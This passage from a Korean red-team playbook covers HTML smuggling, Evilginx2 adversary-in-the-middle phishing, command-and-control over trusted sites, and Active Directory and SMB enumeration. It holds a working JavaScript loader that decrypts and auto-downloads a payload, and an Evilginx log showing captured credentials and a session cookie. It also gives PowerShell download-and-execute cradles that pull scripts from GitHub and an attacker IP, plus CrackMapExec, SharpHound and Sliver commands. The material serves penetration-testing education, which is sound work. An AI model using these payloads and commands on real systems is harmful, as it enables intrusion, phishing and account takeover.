  for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
  return bytes.buffer;
}

var file ='<< BASE64 ENCODING OF MALICIOUS FILE >>';
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'outflank.doc';

if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName);
else {
  var a = document.createElement('a');
  document.body.appendChild(a);
  a.style = 'display: none';
  var url = window.URL.createObjectURL(blob);
  a.href = url;
  a.download = fileName;
  a.click();
  window.URL.revokeObjectURL(url);
}
```

`base64ToArryBuffer` 함수를 이용해 base64 인코딩된 문자열을 ArrayBuffer 로 만든 뒤, 이를 new Blob 에다가 넣어 자바스크립트 데이터 Blob를 생성한다.

그 뒤 anchor 태그를 생성하고, `var url = window.URL.createObjectURL(blob)` 을 이용해 anchor 태그에 위에서 만든 Blob를 걸어준 뒤, `a.download` 및 `a.click` 으로 클라이언트 브라우저가 자동으로 파일을 다운받도록 한다.

</details>

위에서 살펴본 코드도 좋지만, 작전보안을 위해 파일을 암호화 한 뒤, 클라이언트 브라우저가 다운 받는 런타임 도중 복호화 해 다운 받도록 암호화를 추가하는 방법도 있다.

<details>

<summary>EmbedinHTML - AES Encryption</summary>

```
function rc4Function(r,o){for(var t,e=[],n=0,a="",f=0;f<256;f++)e[f]=f;for(f=0;f<256;f++)n=(n+e[f]+r.charCodeAt(f%r.length))%256,t=e[f],e[f]=e[n],e[n]=t;f=0,n=0;for(var h=0;h<o.length;h++)n=(n+e[f=(f+1)%256])%256,t=e[f],e[f]=e[n],e[n]=t,a+=String.fromCharCode(o.charCodeAt(h)^e[(e[f]+e[n])%256]);return a;}
function b64AndRC4Function(r,o){var s=[],j=0,x,res='';for(var i=0;i<256;i++)s[i]=i;for(i=0;i<256;i++)j=(j+s[i]+r.charCodeAt(i%r.length))%256,x=s[i],s[i]=s[j],s[j]=x;i=0;j=0;var data=atob(o);var dataLength=data.length;var array=new Uint8Array(new ArrayBuffer(dataLength));for(var y=0;y<dataLength;y++)i=(i+1)%256,j=(j+s[i])%256,x=s[i],s[i]=s[j],s[j]=x,array[y]=data.charCodeAt(y)^s[(s[i]+s[j])% 256];return array;}

var keyFunction = function(){return "test"};

var varPayload = "<base64ed-file-string>";

var varBlob = new Blob([b64AndRC4Function(keyFunction(), varPayload)], {type: "application/vnd.ms-excel"});
var varBlobShim = '(function(b,fname){if(window.navigator.msSaveOrOpenBlob)window.navigator.msSaveOrOpenBlob(b,fname);else{var a=window.document.createElement("a");a.href=window.URL.createObjectURL(b, {type:"application/vnd.ms-excel"});a.download=fname;document.body.appendChild(a);a.click();document.body.removeChild(a);}})';
setTimeout(varBlobShim+'(varBlob, "calc.xll")');
```

</details>

암호화 함수들인 `rc4Function` 과 `b64AndRC4Function` 을 추가한다. 그 뒤, keyFunction 에서 간단한 암호화 키인 "test" 를 지정한다. 이후 암호화되어 있던 `varPayload` 를 `b64AndRC4Function` 으로 복호화 한다. 그 뒤, `varBlobShim` 에서는 위 OutFlank 소스코드에 있던 anchor 태그, Download 특성, createObjectURL 등을 추가하는 자바스크립트 함수를 만든다. 그 뒤, 이를 실행하면 런타임 중 복호화를 진행한 뒤 파일을 다운받게 된다.

### 실습

실습에서는 EmbedinHTML 툴을 사용한다. 오래된 툴이라 파이썬 2.7을 사용해야한다. PoC를 위해 기본 코드 실행인 계산기를 실행하는 페이로드를 이용한다.

```
python2.7 embedInHTML.py -f ./payloads_examples/calc.xll -o test.html -w -k testkey
```

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-4c4f98cbeb325412aad9b6a5c3036b51bdb862de%2Fhtmlsmuggling-demo2.gif?alt=media)

### 레퍼런스

{% embed url="<https://outflank.nl/blog/2018/08/14/html-smuggling-explained/>" %}

{% embed url="<https://github.com/Arno0x/EmbedInHTML>" %}


# 피싱 - AitM (Adversary in the Middle)

T1557

전통적인 방법의 피싱 공격은 정상적 사이트의 프론트엔드 코드를 클론해서 피해자 유저가 피싱 사이트에 계정 정보를 집어넣고, 공격자가 그 계정 정보를 빼내가는 식으로 진행됐다.

이런 계정 정보 탈취 형식의 피싱 공격은 다중 인증 (Multi-Factor Authentication) 이 나오면서 어느정도 대처가 됐다. 첫번째로 공격자가 피해자 유저의 핸드폰이나 유비키 등을 물리적으로 손에 넣지 않는 한 두번째 인증을 통과하기가 대단히 어렵기 때문이고, 두번째로는 공격자의 웹사이트가 이중/다중 인증까지 구현하기는 어려웠기 때문이다.

이런 방어를 우회하고자 공격자들은 중간자 공격 (Man-in-the-Middle) 을 피싱에도 접목하기 시작했다. 이는 곧 APT 중간자 공격 (Adversary-in-the-Middle) 이라는 용어로 만들어졌다. 관련된 유명한 툴들은 2017년도에 나온 Evilginx, 후속작인 Evilginx2, 그리고 muraena 등이 있다. AitM은 다음과 같은 형식으로 중간자 공격을 통해 피싱을 진행한다.

![Source: https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens/](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-d695f8a2ab100e9b1d6478ae2fdc0a3cc3f9d9d4%2Fevilginx2_diagram.png?alt=media)

피싱 서버에서 로그인이나 다중 인증 등의 코드를 구현하지 않고, 피싱 서버는 중간자 역할만 한다. 유저는 사실상 원래 서버와 소통을 하고 있는 것이다. 이렇게 되면 인증, 다중인증은 원래 서버가 진행하고, 유저는 정상적으로 인증, 다중 인증을 진행한다. 공격자는 중간에 앉아서 소통되는 계정 정보와 다중 인증 키 및 세션 쿠키만 빼내는 형식으로 공격이 진행된다.

### 실습

**< Evilginx2 와 공격자 도메인을 설정하는 실습은 악용을 막기 위해 공개적으로 진행하지 않는다. >**

다음의 시나리오를 보자 - 초이(본인이다)가 출근해 이메일함을 열어봤더니, koreambtihealth.com 에서 온 이메일이 보였다.

> 링크드인에 MBTI 관련된 포스트 잘 봤습니다. 저희는 직장인들의 MBTI를 분석하는 KoreaMBTIHalth 스타트업입니다. 편하게 링크드인 계정으로 접속하셔서 MBTI 관련된 질문 몇가지만 답해주실 수 있을실까요? "<https://www.krlogin.koreambtihealth.com/invite>"

피싱일까? 잘 모르겠지만 어쨌든 이중 인증을 설정해놨으니 상관 없다. 한번 가서 재밌는 MBTI 관련 정보를 받아봐야겠다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-7a92fa82dcbdc38ac39b452e381ef69797b08e40%2Fevilginx-hmm.png?alt=media)

주의하며 웹사이트를 방문해보니 사내 정보보호 피싱 교육에서 배웠던 내용들이랑은 다른 내용들이 보인다.

1. 크롬창에서 자물쇠가 제대로 채워져있다.
2. TLS/SSL 인증서가 제대로된 인증서다. 3개월짜리니 LetsEncrypt을 사용했나 보다.
3. URL도 나쁘지 않다. `koreambtihealth.com` 도메인의 `krlogin` 브도메인에, 링크드인이 실제로 사용하는 `/uas/login` 엔드포인트까지 똑같다.
4. 모든 UI가 정상적이다. 심지어 sign in with Google 등의 SSO도 정상 작동한다!

진짜 웹사이트고, 단순히 링크드인으로 SSO를 구축한거구나, 생각이 든다. 어차피 피싱이라도 이중 인증이 있으니 상관없다. 로그인 한다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-41a5a0cd3d1cb9ff1d8fd6edd2807d2611a7b0cb%2Fimage.png?alt=media)

이중인증 페이지도 정상적으로 뜬다. "피싱 아니고 진짜 링크드인 SSO 로그인이였구나. 다행이다" 라는 생각을 하며 이중 인증도 진행한다.

\---

이 와중에 공격자는 계정 정보와 이중인증이 적용된 세션 쿠키 탈취했다.

```
: lures get-url 0

https://www.krlogin.koreambtihealth.com/invite

[23:44:00] [imp] [0] [linkedin] new visitor has arrived: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
[23:44:00] [inf] [0] [linkedin] landing URL: https://www.krlogin.koreambtihealth.com/invite
[23:47:15] [+++] [0] Username: [<검열>]
[23:47:15] [+++] [0] Password: [<검열>]
[23:47:30] [+++] [0] all authorization tokens intercepted!
[23:47:31] [imp] [0] redirecting to URL: https://www.linkedin.com (1)

: sessions 66

 id           : 66
 phishlet     : linkedin
 username     : <검열>
 password     : <검열>
 tokens       : captured
 landing url  : https://www.krlogin.koreambtihealth.com/invite
 user-agent   : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
 remote ip    : <검열>
 create time  : 2022-07-04 23:44
 update time  : 2022-07-04 23:47

[{"path":"/","domain":"www.linkedin.com","expirationDate":1688514694,"value":"<검열>","name":"li_at","httpOnly":true}]
```

계정 이름과 비밀번호 등은 아주 유용하지만, 어차피 피해자 유저는 이중 인증을 설정해놓은 상태기 때문에 새롭게 로그인을 할 수는 없다. 하지만 탈취한 세션 쿠키인 `li_at` 를 이용하면 유저의 세션을 얻은 뒤 계정을 장악할 수 있다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-bb23fe145bd6c0157471f875a33354b185e74b98%2Fevilginx-demo.gif?alt=media)

이렇게 중간자 피싱 공격을 통해 이중 인증이 걸려 있는 타겟의 계정을 장악하는 것이 가능하다.

### 대응 방안

#### 엔드 유저

* URL 창에 있는 자물쇠를 맹신하지 말자 - 공격자의 입장에서 TLS/SSL 인증서를 발급 받는 것은 그렇게 어려운 일이 아니다.
* 항상 도메인을 잘 살펴보자. 의심이 되는 경우 바이러스 토탈이나 urlscan.io 에 첨부한다.
* 가장 좋은 방법은 내가 로그인 하고자 하는 페이지가 아닌 곳에서 로그인을 안하는 것이다.

### Reference

* <https://github.com/kgretzky/evilginx2>
* <https://github.com/drk1wi/Modlishka>
* <https://github.com/muraenateam/muraena>
* <https://github.com/muraenateam/necrobrowser>


# Living Off Trusted Sites (LOTS)

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-3637574dbe5114314988b7a59285f2641f5c8563%2Flots.drawio.png?alt=media)

LOTS (Living Off Trusted Sites) 는 공격자들이 자주 사용하는 정상적인 웹 서비스들을 모아놓은, LOLBINS과도 비슷한 성격의 프로젝트다. 공격자들은 구글 드라이브, 깃허브, 레딧, 노션 과 같은 정상적인 웹 서비스들을 이용해 명령을 수행하거나, 파일을 업로드/다운로드 하거나, 피싱 등의 공격을 실행할 수 있다. 공격자와 피해자 호스트 간의 트래픽이 C2 서버나, 공격자의 도메인이나, 수상한 IP 주소를 경유 하는 것이 아니라, 매우 유명한 웹 서비스들을 거치기 때문에 블루팀의 입장에서 볼 때 네트워크 트래픽의 이상한 점을 느끼기가 어렵다. 때문에 공격 중 네트워크 트래픽을 숨기기 위해 공격자들은 LOTS에 등록되어 있는 웹사이트들을 이용한다.

예를 들어 공격자가 피해자 호스트를 장악 한 뒤, 정보 수집과 권한 상승 공격을 위해 추가 파워쉘 스크립트를 로드해서 공격한다고 가정해보자. 공격자는 이 파워쉘 스크립트를 공격자의 도메인에서 가져오는 것이 아니라, 깃허브에서 다음과 같이 가져온다.

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/situational_awareness/network/powerview.ps1')
```

엔드포인트 보안을 잠시 제외하고, 네트워크적으로만 따져보자. 블루팀의 입장에서 보면 한 컴퓨터가 깃허브로 가서 공개되어 있는 리포의 파워쉘 스크립트를 가져오는 것으로 밖에 안보인다. 얼마나 많은 개발자들과 시스어드민들이 회사에서 매일매일 깃허브를 이용하는가? 이렇게만 보면 이 네트워크 트래픽은 정상적으로 보인다.

공격자들은 LOTS를 이용해서 정상적인 웹 서비스를 공격에 이용할 수 있다. LOTS의 이용 방법은 다양하다:

1. 피싱
2. Command and Control
3. 파일 업로드/다운로드
4. 데이터 유출 (Data Exfiltration)

이 중 피싱, 파일업로드/다운로드, 데이터 유출은 간단한 개념인 것 같다. 하지만 정상적인 웹 서비스를 C2 (Command and Control) 에 이용한다는 것은 어떤 의미일까?

### LOTS 와 C2

우리나라에는 "DCInside" 라는 커뮤니티가 웹사이트가 있다. 이 웹사이트의 가장 큰 특징이자 장점 중 하나는 바로 누구나 사용자 인증 없이 글을 읽고, 쓰고, 댓글을 쓸 수 있다는 점이다. 다음의 시나리오를 생각해보자.

1. 쓰여진지 2년 정도 지났지만 댓글 작성한 글을 찾아낸다.
2. 공격자 호스트에서는 해당 글에 `[1]execute: powershell.exe -command "whoami"` 라는 댓글을 남긴다.
3. 피해자 호스트에서 돌아가는 비컨은 해당 글의 URL로 방문해 댓글을 읽고 파싱을 진행한다. \[1]은 첫번째 명령, execute 는 "실행" 명령, `powershell.exe -command "whoami"` 는 실행할 명령이다. 명령을 실행한뒤 `chois computer - Administrator` 라는 값을 반환한다.
4. 피해자 호스트는 `chois computer - Administrator` 라는 반환된 값을 다시 똑같은 글에 댓글로 남긴다. `[bot]result: chois computer - Administrator`
5. 공격자 호스트에서 다시 해당 글을 방문해 댓글로 명령이 실행된 결과를 확인한다.

이렇듯 특정 웹사이트를 통해서 공격자 호스트는 피해자 호스트에게 명령을 내리고, 결과를 반환받을 수 있다. 피해자 호스트의 블루팀의 입장에서 볼때는 그저 dcinside.com 의 랜덤한 글을 방문하는 것 밖에 보이지 않을 것이다.

이제 위에서 나온 PoC에다가 다음의 것들을 추가해보면...

* 명령 및 결과 반환 암호화 적용
* 자체 API 개발로 공격자 서버와 피해자 비컨이 모두 dcsinside를 더 편하게 이용하도록 함
* 각 피해자 비컨들마다 새로운 글을 지정함. 100개의 피해자 호스트가 있다면 100개의 다른 글에 댓글을 남기고, 공격자 서버는 해당 글들을 방문해 결과를 확인하는 식으로 스케일링
* (졸업 프로젝트로 사용하고 교수님에게 칭찬 받기)

실제로 위의 내용과 비슷하게 Reddit 커뮤니티를 사용하는 RedViper 오픈소스 프로젝트가 공개됐던적도 있고, 디스코드 (Discord)를 이용하는 C2 서버 프로젝트도 있다.

### 레퍼런스

{% embed url="<https://lots-project.com/>" %}


# 개념

TA0007

정보 수집은 타겟과 관련된 정보를 수집하는 단계다. 공격에 앞서 타겟 호스트와 네트워크에 관련된 이해도를 높이고, 더 성공적인 공격을 수행하기 위해서 정보 수집 단계는 필수다. 정보 수집에는 많은 종류가 있지만, 이 플레이북에서는 다음 정보 수집에 집중한다.

* 로컬 호스트 정보 수집 - 유저, 서비스, 프로세스, 개발 환경, 보안
* 네트워크 정보 수집 - 도메인, 도메인 간 신뢰, 유저, 그룹, 호스트, 그룹 정책, 비밀번호 정책, 액티브 디렉토리 설정, 등

레드팀의 입장에서는 호스트 정보 수집을 진행한 뒤 현재 있는 호스트가 충분히 안전하다고 판단하면 네트워크 정보 수집을 진행하는 것이 좋다. 비컨이 실행되자마자 SharpHound 같은 툴을 돌렸다가는 바로 블루팀에게 걸릴 것이기 때문이다. 공격에 앞서 현재 내가 어딨는지, 누구 (어떤 유저)인지, 어떤 프로세스가 돌아가고 있으며, 어떤 엔드포인트 보안이 실행되고 있는지 판단한다.

수집한 로컬 호스트 정보를 바탕으로 현 호스트에서 권한 상승을 진행할 것인지, 아닌지, 혹은 다른 호스트로 횡적이동을 할 것인지 등등을 정한다. 횡적 이동을 진행한다면 네트워크 정보 수집을 진행해 현재 어떤 네트워크에 있는지 등을 파악한다. 그 뒤 공격을 진행한다.

실제 APT 그룹들의 공격 또한 초기 침투 이후 오랜시간 동안 호스트에 잠복해 있으며 정보 수집만 하는 형태도 있다. 길게는 몇 달 동안 잠복해 있으며 정보 수집을 하다가, 주말이나 공휴일 새벽에 재빠르게 공격을 한 뒤 목표 달성을 하는 형태의 공격도 있다.

어떤 형태로 공격을 진행하던 정보 수집 단계는 매우 중요하다. 로컬 호스트 정보 수집과 내부망 액티브 디렉토리 정보 수집에 대해서 알아보자.


# 로컬 호스트 정보 수집

MITRE ATTACK - TA0007 (T1082, T1016, ...)

초기 침투 이후 호스트에 접근 했다면 가장 먼저 해야할 일은 호스트/로컬 정보 수집이다. 이 호스트가 어떤 호스트인지, 생성된 프로세스가 어떤 유저의 컨텍스트(context)를 갖고 있는지, 어떤 AV/EDR 솔루션이 있는지 등을 파악하는 것이다. 이 단계를 잘 거쳐야만 레드팀으로서는 탐지 당하지 않고 안전하게 필요한 공격들을 수행할 수 있게 된다. 또한, 로컬 정보 수집으로 얻어진 정보들은 로컬 권한 상승 공격에 사용되기도 한다.

이 페이지에서는 다음과 같은 정보들에 대해 알아본다.

1. 로컬 정보 수집을 실행할 때 알아봐야할 정보
2. 작전 보안을 위해 조심해야할 점
3. 로컬 정보 수집 툴

정보 수집에 사용되는 명령어들은 [파워쉘 페이지](/enumeration/powershell)와 [C# 페이지](/enumeration/csharp)를 참고한다.

### 로컬 정보 수집 - 정보

#### 기본 정보

* 호스트 이름
* 도메인 이름
* 운영체제 이름 및 버전
* 윈도우핫픽스, 보안 패치 리스트
* Network Interface Cards (NICs) - Dual-Homed 체크
* IP, subnet mask, gateway
* ARP table

#### 유저 정보

* 유저 이름
* 유저 권한
* 로컬 유저 그룹

#### 프로세스 정보

* 프로세스 리스트 확인
* 현 프로세스의 32비트, 64비트 확인 (`IsWow64Process(), GetSystemInfo()`)

#### 보안 기술 확인

* AV, EDR, Defender, AMSI, sysmon, logging frameworks
* CredGuard
* .NET Framework 버전 (4.8+ 이라면 .NET AMSI 확인)
* LAPS 적용 확인
* 파워쉘 v2
* Applocker

### 작전 보안

타겟 호스트에 쉘을 얻자마자 `whoami, ipconfig` 등의 윈도우 기본 PE 바이너리(whoami는 명령어가 아니다)를 이용해 로컬 정보 수집을 한다면 그 즉시 EDR 솔루션에게 발각되어 프로세스가 종료될 것이다. 기본 명령어 및 기본 프로세스를 이용해 로컬 정보 수집을 하던 시대는 2000년대 이후로 끝났다.

작전보안을 지키며 로컬 정보를 수집하고 싶다면 제3자 프로그래밍 언어 (로 만들어진 툴) 을 이용해 WinAPI혹은 direct 시스템 콜을 이용해 메모리상에서 윈도우 커널과 소통해야한다. 물론 이는 쉬운 일이 아니고, 실제 작전이 실행되고 있을 때 일일히 WinAPI 혹은 direct syscall을 코딩해 사용할 수는 없는 노릇이다.

이 문제점을 해결하기 위해 레드팀들은 로컬 정보 수집을 위한 툴을 만들기 시작했다.

### 실습과 툴

2022년대 기준 로컬 정보 수집은 비컨 프로세스의 메모리상에서 winapi/direct syscall 툴을 실행하거나, 다른 프로세스에 인젝션을 통해 진행한다.

유명한 로컬 정보 수집 툴들은 다음과 같다:

* [Seatbelt](https://github.com/GhostPack/Seatbelt)
* [Situational-Awareness BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF)
* [WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
* [PrivescCheck](https://github.com/itm4n/PrivescCheck)

{% tabs %}
{% tab title="비컨 - 레드팀" %}
sliver 비컨에서 Seatbelt 라는 로컬 정보 수집 툴을 이용한다.

```
sliver (LOST_QUICKSAND) > seatbelt '' "-group=system"

< ... > 

====== WindowsAutoLogon ======                                                                                        
                                                                                                                      
  DefaultDomainName              : CHOI                                                                               
  DefaultUserName                : Administrator                                                                      
  DefaultPassword                :                                                                                    
  AltDefaultDomainName           :                                                                                    
  AltDefaultUserName             :                                                                                    
  AltDefaultPassword             :                                                                                    
                                                           
====== WindowsDefender ======         
                                                           
Locally-defined Settings:                                  
                                                           
                                                           
                                                                                                                      
GPO-defined Settings:                                      
====== WindowsEventForwarding ======  
                                                           
====== WindowsFirewall ======                              
                                                           
Collecting Windows Firewall Non-standard Rules
                                                                                                                      
                                                                                                                      
Location                     : SOFTWARE\Policies\Microsoft\WindowsFirewall

< ... >
```

{% endtab %}

{% tab title="윈도우 - 모의해킹" %}
모의해킹 실행시 타겟에 횡적이동을 한 뒤 파워쉘을 이용해 로컬 정보 수집을 진행한다. 파워쉘 스크립트를 모의해커의 호스트에서 불러온 뒤, 메모리상에서 실행시킨다. 툴은 PrivEscCheck.ps1을 사용한다.

```
# 공격자 호스트에서 불러온 뒤 실행 
iex(new-object net.webclient).downloadstring('http://<공격자IP>:<포트>/PrivescCheck.ps1');Invoke-PrivEscCheck

< ... >
+-----------------------------------------------------------------------------+
|                         ~~~ PrivescCheck Report ~~~                         |
+----+------+-----------------------------------------------------------------+
| NA | None | CONFIG > SCCM Cache Folder (info)                               |
| OK | None | CONFIG > Hardened UNC Paths                                     |
| OK | None | CONFIG > Point and Print                                        |
| OK | None | CONFIG > WSUS Configuration                                     |
| NA | None | CONFIG > Driver Co-Installers -> 1 result(s)                    |
| NA | None | CREDS > Vault List                                              |
| OK | None | CREDS > GPP Passwords                                           |
< ... > 
```

{% endtab %}
{% endtabs %}


# 블러드하운드

![이미지 출처: https://bloodhound.readthedocs.io/en/latest/data-analysis/bloodhound-gui.html](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-52093cec0f5ef6a361c317df76c3db76aa1e3ef1%2Fimage.png?alt=media)

[블러드하운드(BloodHound)](https://github.com/BloodHoundAD/BloodHound)는 액티브 디렉토리의 LDAP 데이터를 수집하고 이를 그래프 자료구조 형식으로 보여주는 툴이다. 수만명의 도메인 유저 계정, 수십만대의 호스트들의 관계와 정보를 일일히 수동으로 정리하는 것은 불가능에 가깝다. 블러드하운드는 이를 도와주기 위해서 만들어진 툴이다.

블러드하운드는 총 3가지 툴로 운영된다.

1. 블러드하운드 Data Ingestor - 도메인 컨트롤러에 접근에 LDAP 데이터를 추출한 뒤, 도메인 유저, 호스트, 그룹, 세션 등의 데이터를 json 형태로 저장하는 툴.
2. Neo4J - 블러드 하운드의 백엔드 데이터베이스. Ingestor가 추출한 json 파일을 neo4j 데이터베이스에 불러온 뒤 블러드하운드 GUI에서 사용할 수 있게된다.
3. 블러드하운드 GUI - 백엔드 데이터베이스의 데이터를 그래프 자료구조의 형식으로 보여주는 프론트엔드 GUI 툴.

### 설치

블러드하운드 설치는 [공식 문서](https://github.com/BloodHoundAD/BloodHound)를 참고한다.

```
# 칼리 리눅스 
apt update -y 
apt install bloodhound -y 
neo4j console 

# http://localhost:7474 방문 후 neo4j:neo4j 를 이용해 로그인. 
# 이후, 비밀번호를 바꿔줌.

# 블러드하운드 실행 후 neo4j:<바뀐-비밀번호>로 로그인 
bloodhound 
```

![블러드하운드 GUI 로그인 화면](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-09ba6910dc0f594aaaf7fc6530c3aa11c5b81c4d%2Fimage.png?alt=media)

### 사용 - 데이터 Ingestor

블러드하운드를 이용하기 위해선 타겟 도메인의 액티브 디렉토리 데이터를 Ingestor를 이용해 추출해야한다. 액티브 디렉토리 데이터를 추출하기 위해서는 도메인 유저의 계정정보나 세션이 필요하다. 초기 침투가 성공적이였다면 대부분 도메인 유저 (ex. 회계 부서의 김인턴) 의 문맥을 갖게된다.

데이터 Ingestor는 다양한 액티브 디렉토리의 정보들을 빼내올 수 있다. 공식문서의 `-c, Collection method`를 참고한다.

리눅스에서는 [`bloodhound-python`](https://github.com/fox-it/BloodHound.py) 툴을, 윈도우에서는 [`SharpHound`](https://github.com/BloodHoundAD/SharpHound) 툴을 이용한다.

{% tabs %}
{% tab title="리눅스" %}
리눅스에서는 bloodhound-python을 이용한다.

```
# 설치 
pip3 install bloodhound 

# 실행 
bloodhound-python -c DCOnly -u <user> -p <pass> -d <domain> -dc <dc-fqdn>
bloodhound-python -c DCOnly -u low -p 'Password123!' -d choi.local -dc dc01.choi.local
```

{% endtab %}

{% tab title="윈도우 - 콘솔" %}
콘솔을 갖고 있는 경우 SharpHound를 이용한다. SharpHound는 .NET 어셈블리이기 때문에 직접 실행하거나 파워쉘에서 불러온 후 메모리상에서 실행할 수 있다.

```
# Sharphound.exe 실행 
./SharpHound.exe -c <method> -d <domain>
./SharpHound.exe -c All -d choi.local
```

{% endtab %}

{% tab title="윈도우 - 비컨" %}
SharpHound는 .NET 어셈블리이기 때문에 비컨의 메모리상에서 execute-assembly 형식으로 사용할 수 있다.

```
# SharpHound Release를 다운받거나, 깃-클론 뒤 컴파일한다. 
wget https://github.com/BloodHoundAD/SharpHound/releases/download/v1.0.3/SharpHound-v1.0.3.zip . 
unzip SharpHound-v1.0.3.zip

# 슬리버의 execute-assembly를 이용해 메모리상에서 SharpHound를 실행한다. 
sliver> use <beacon-name>
sliver> execute-assembly /root/redteam/tools/SharpHound.exe "-c All -d choi.local"

# 다운로드 할 때는 백슬래쉬 이스케이프를 해주거나 큰 따옴표를 이용한다. 
sliver> download <원격-파일경로> <로컬-파일경로>
sliver> download "C:\Users\Administrator\Downloads\20220613235339_BloodHound.zip" /root/redteam/bh.zip
```

{% endtab %}
{% endtabs %}

### 사용 - 블러드하운드 GUI

다운 받은 zip파일을 블러드하운드 GUI에다가 드래그 & 드롭 하면 된다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-0092aac39f29a39e914ae24a1e316f482df3ed6d%2Fimage.png?alt=media)

이후 Analysis에서 미리 준비된 쿼리를 이용하거나 하단의 `Raw Query` 를 통해 직접 Cypher Query를 사용한다.

### 레퍼런스

{% embed url="<https://bloodhound.readthedocs.io/en/latest/>" %}

{% embed url="<https://github.com/BloodHoundAD/BloodHound>" %}

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

{% embed url="<https://github.com/fox-it/BloodHound.py>" %}


# SMB 쉐어 수집

SMB는 Server Message Block 프로토콜로서, 윈도우 액티브 디렉토리에서 파일과 프린터를 공유하는데 가장 많이 사용되는 프로토콜이다. 요새는 파일 공유 같은 경우는 웹 기반의 SaaS 로 많이 넘어갔지만, 아직도 많은 네트워크에서 쉐어를 이용한다.

공격자들은 SMB 쉐어에 관련된 정보와 쉐어 안의 파일을 정보 수집을 통해 얻어낼 수 있다.

### 도메인 유저 맥락

도메인 유저 계정을 하나라도 장악한 공격자는 도메인 내 도메인 유저에게 공개되어 있는 쉐어를 탐색할 수 있다. 쉐어의 읽기/쓰기 권한이 잘못 설정되어 있는 경우, 공격자는 쉐어에 접근해 추가 공격에 용이한 파일을 얻을 수 있다. 혹은 민감한 정보가 담긴 파일이 있는 쉐어가 네트워크 안 모든 유저에게 공개되어 있는 경우도 많다.

{% tabs %}
{% tab title="리눅스" %}
CrackMapExec을 이용해 찾아낼 수 있다.

```
cme smb <target(s)> -u <user> -p <passwd> -d <domain> --shares 
```

{% endtab %}

{% tab title="윈도우" %}

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/situational_awareness/network/powerview.ps1');
find-domainshare -checkshareaccess
```

{% endtab %}
{% endtabs %}

예를 들어 다음과 같은 도메인 쉐어를 찾았다고 가정해보자.

```
└─# cme smb 192.168.40.150 -u low -p 'Password123!' -d choi.local --shares
               
SMB         192.168.40.150  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:choi.local) (signing:True) (SMBv1:False)
SMB         192.168.40.150  445    DC01             [+] choi.local\low:Password123! 
SMB         192.168.40.150  445    DC01             [+] Enumerated shares
SMB         192.168.40.150  445    DC01             Share           Permissions     Remark
SMB         192.168.40.150  445    DC01             -----           -----------     ------
< ... >  
SMB         192.168.40.150  445    DC01             share           READ,WRITE      Share for deploying files from the DC       Logon server share 
```

도메인 컨트롤러의 "share" 라는 쉐어가 존재하는데, 일반적인 "low" 도메인 유저가 이에 읽기/쓰기 권한을 갖고 있다. smbclient 를 이용해 파일을 가져올 수 있다.

```
└─# smbclient -U CHOI/low%'Password123!' \\\\192.168.40.150\\share

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jul  4 22:24:07 2022
  ..                                  D        0  Mon Jul  4 22:24:07 2022
  secret.txt                          A       18  Mon Jul  4 22:24:07 2022

                15644159 blocks of size 4096. 10228069 blocks available
smb: \> get secret.txt
getting file \secret.txt of size 18 as secret.txt (17.6 KiloBytes/sec) (average 17.6 KiloBytes/sec)
```

### Anonymous/Null Session Share

SMB 쉐어의 권한이 잘못 설정되어 Anonymous 나 Null Session 으로 접근 가능한 쉐어들은 도메인 유저 맥락이 없어도, 아무런 계정 정보가 없어도 접근이 가능하다.

```
cme smb <target(s)> -u '' -p ''  --shares
cme smb <target(s)> -u 'a' -p '' --shares 
enum4linux -a <target>
```

### 대량 SMB 정보 수집

모의해킹을 진행하다보면 3만대 5만대의 호스트로부터 SMB 쉐어 파일을 가져와야할 때가 있다. 이렇듯 대량으로 SMB 파일을 다운받기 위해서는 ManSpider 라는 툴을 이용한다. Manspider 는 특정 파일 확장자, 파일 컨텐츠 등을 화이트리스트/블랙리스트 한 뒤, 파일을 다운 받는 툴이다. 몇천대, 몇만대 호스트를 상대로 실행해도 상당히 빠른 속도로 SMB 파일들을 수집한다.

```
manspider.py --threads 128 <ip-ranges> -u <user> -p <pass> -c password passwd confidential
```

### 레퍼런스

